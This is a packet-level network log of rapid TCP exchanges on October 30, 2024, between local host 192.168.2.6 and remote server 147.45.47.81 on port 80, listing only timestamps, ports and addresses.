Oct 30, 2024 15:44:46.172354937 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.172405958 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.172410011 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.172440052 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.172468901 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.172482014 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.172530890 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.172566891 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.172574043 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.172600031 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.172632933 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.172646046 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.172667027 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.172703028 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.172707081 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.172732115 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.172765017 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.172779083 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.172797918 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.172835112 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.185348988 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.185468912 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.185518026 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.185527086 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.185553074 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.185585022 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.185591936 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.185617924 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.185650110 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.185653925 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.185682058 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.185735941 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.196548939 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.200913906 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.200951099 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.200985909 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.201000929 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.201735973 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.201786041 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.201792955 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.201822996 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.201862097 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.201874971 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.201908112 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.201941967 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.201946974 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.201975107 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.202008009 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.202012062 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.206839085 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.206888914 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.206895113 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.206923008 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.206971884 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.206985950 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.207022905 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.207053900 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.207068920 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.207087040 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.207129002 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.207138062 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.207186937 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.207221031 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.207228899 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.207271099 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.207303047 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.207331896 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.207362890 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.207391977 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.207422018 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.207442999 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.207484961 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.207494974 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.207523108 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.207556009 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.207562923 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.207590103 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.207622051 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.207631111 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.207659006 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.207699060 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.207892895 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.207921982 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.207954884 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.207957983 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.207988024 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.208020926 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.208029032 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.208070040 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.208108902 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.208121061 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.208173037 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.208201885 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.208224058 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.208254099 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.208297014 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.208307028 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.208354950 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.208389044 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.208395958 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.208416939 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.208453894 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.208498955 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.208533049 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.208565950 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.208596945 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.208597898 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.208630085 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.208659887 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.208731890 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.208760977 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.208772898 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.208794117 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.208827972 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.208832979 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.208859921 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.208894968 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.208899021 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.211986065 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.212033987 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.212034941 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.212069035 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.212104082 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.212124109 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.212138891 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.212181091 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.217732906 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.223547935 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.223602057 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.223637104 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.223649979 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.223669052 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.223702908 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.223707914 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.223736048 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.223776102 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.227994919 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.229475021 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.265801907 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.265862942 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.265893936 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.265923977 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.265958071 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.265973091 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.265994072 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.266011953 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.266028881 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.266031981 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.266083956 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.266128063 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.266138077 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.266171932 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.266207933 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.266222954 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.266257048 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.266289949 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.266298056 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.266324043 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.266356945 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.266376972 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.266392946 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.266426086 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.266433954 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.266462088 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.266495943 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.266501904 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.266530991 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.266561031 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.266572952 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.266628981 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.266664982 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.266669989 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.266695976 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.266731024 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.266736984 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.266783953 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.266828060 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.266835928 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.266885042 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.266918898 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.266927958 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.266952038 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.266987085 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.266993046 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.267019033 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.267057896 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.267069101 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.267090082 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.267127037 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.267148018 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.267160892 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.267194986 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.267203093 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.267230988 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.267265081 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.267276049 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.267332077 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.267374039 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.267389059 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.267421961 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.267456055 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.267467022 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.267488956 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.267523050 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.267550945 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.267556906 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.267590046 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.267600060 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.267630100 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.267674923 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.267680883 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.267715931 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.267765045 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.267766953 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.267816067 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.267849922 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.267859936 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.267883062 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.267916918 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.267925978 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.267951012 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.267988920 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.267993927 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.268023014 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.268055916 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.268075943 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.268091917 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.268136024 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.268361092 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.268414021 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.268449068 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.268455029 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.268481970 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.268516064 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.268520117 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.268549919 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.268584013 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.268589973 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.268615961 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.268650055 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.268660069 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.268682003 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.268717051 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.268723011 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.268749952 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.268785954 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.268794060 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.268821001 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.268856049 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.268872023 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.268891096 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.268930912 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.268939972 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.268991947 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.269025087 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.269048929 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.269074917 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.269115925 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.269125938 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.269160986 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.269193888 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.269202948 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.269244909 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.269278049 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.269284964 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.269311905 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.269347906 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.269352913 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.269382000 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.269412994 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.269417048 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.269445896 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.269480944 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.269486904 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.269515038 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.269550085 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.269557953 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.269583941 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.269618988 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.269638062 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.269895077 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.269943953 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.269946098 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.269979954 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.270011902 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.270016909 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.270045996 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.270078897 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.270085096 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.270131111 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.270164013 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.270172119 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.270215034 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.270246983 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.270256042 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.270281076 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.270314932 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.270334959 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.270349026 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.270382881 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.270386934 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.270416975 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.270451069 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.270477057 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.270484924 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.270518064 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.270526886 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.270566940 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.270602942 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.270610094 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.270663977 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.270786047 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.270826101 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.270864964 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.270900011 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.270944118 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.270951986 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.270986080 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.271028042 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.271038055 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.271070004 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.271119118 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.271122932 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.271157026 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.271189928 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.271203041 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.271223068 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.271259069 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.271264076 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.271291018 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.271333933 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.271343946 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.271377087 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.271409988 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.271431923 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.271444082 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.271477938 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.271485090 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.271512032 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.271547079 CET	80	49995	147.45.47.81	192.168.2.6
